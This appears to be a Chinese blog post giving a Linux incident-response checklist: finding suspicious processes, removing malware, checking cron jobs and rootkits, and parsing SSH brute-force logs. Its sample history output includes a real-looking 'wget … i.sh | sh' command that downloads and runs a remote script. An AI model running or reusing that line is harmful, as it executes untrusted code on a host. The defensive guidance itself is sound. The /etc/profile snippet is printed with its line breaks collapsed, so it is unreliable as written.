linux应急响应
Linux应急响应
一、识别现象
top #检查占用率高的可疑进程(>70%)
枚举进程命令行:ps -aux #命令行中带有url等奇怪的字符串时注意
while true; do netstat -antp | grep [ip]; done #监控与目标IP通信的进程
history #遍历主机历史命令,查找有无恶意命令
有时安全网关检测到的不全是恶意IP,还有可能是个域名,这种情况下,域名对应的IP是变化的,我们不能直接用上述方法进行监控
我们可以先在host文件中添加一条规则,将恶意域名重定向到一个随机的IP地址,然后对其进行监控。
二、清除病毒
ps -elf | grep [pid]
kill -9 [pid]#查找和清除可疑程序
ls -al /proc/[pid]/exe#定位病毒进程对应的文件路径
rm -f [exe_path]
三、闭环兜底
检查是否存在可疑定时任务
crontab-l #枚举定时任务
cat /etc/anacrontab #查看anacron异步定时任务
systemctl status #检查是否存在可疑服务
find /usr/bin/ /usr/sbin/ /bin/ /usr/local/bin/ -type f -mtime +3 | xargs ls -la#枚举系统文件夹的文件,按修改事件排序查看3天内被修改过的文件
lsof -p[pid] #监控守护进程的行为
扫描是否存在恶意驱动
lsmod #枚举/扫描系统驱动(so文件)
也可以安装chkrootkit进行扫描/安装rkhunter进行扫描
四、检查修复
grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'#查询log主机登陆日志
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c#定位有爆破的源IP
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr#爆破日志的用户名密码
添加命令审计
为历史的命令增加登录的IP地址、执行命令时间等信息:
[1]保存1万条命令:
sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile
[2]在/etc/profile的文件尾部添加如下行数配置信息:
USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`if [ "$USER_IP" = "" ]thenUSER_IP=`hostname`fi export HISTTIMEFORMAT="%F %T $USER_IP `whoami` " shopt -s histappend export PROMPT_COMMAND="history -a"
[3]让配置生效:
source /etc/profile
生成效果:
762019-10-2817:05:34113.110.229.230 wget -q -T180 -O-http://103.219.112.66:8000/i.sh) | sh
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 【杭电多校比赛记录】2025“钉耙编程”中国大学生算法设计春季联赛(1)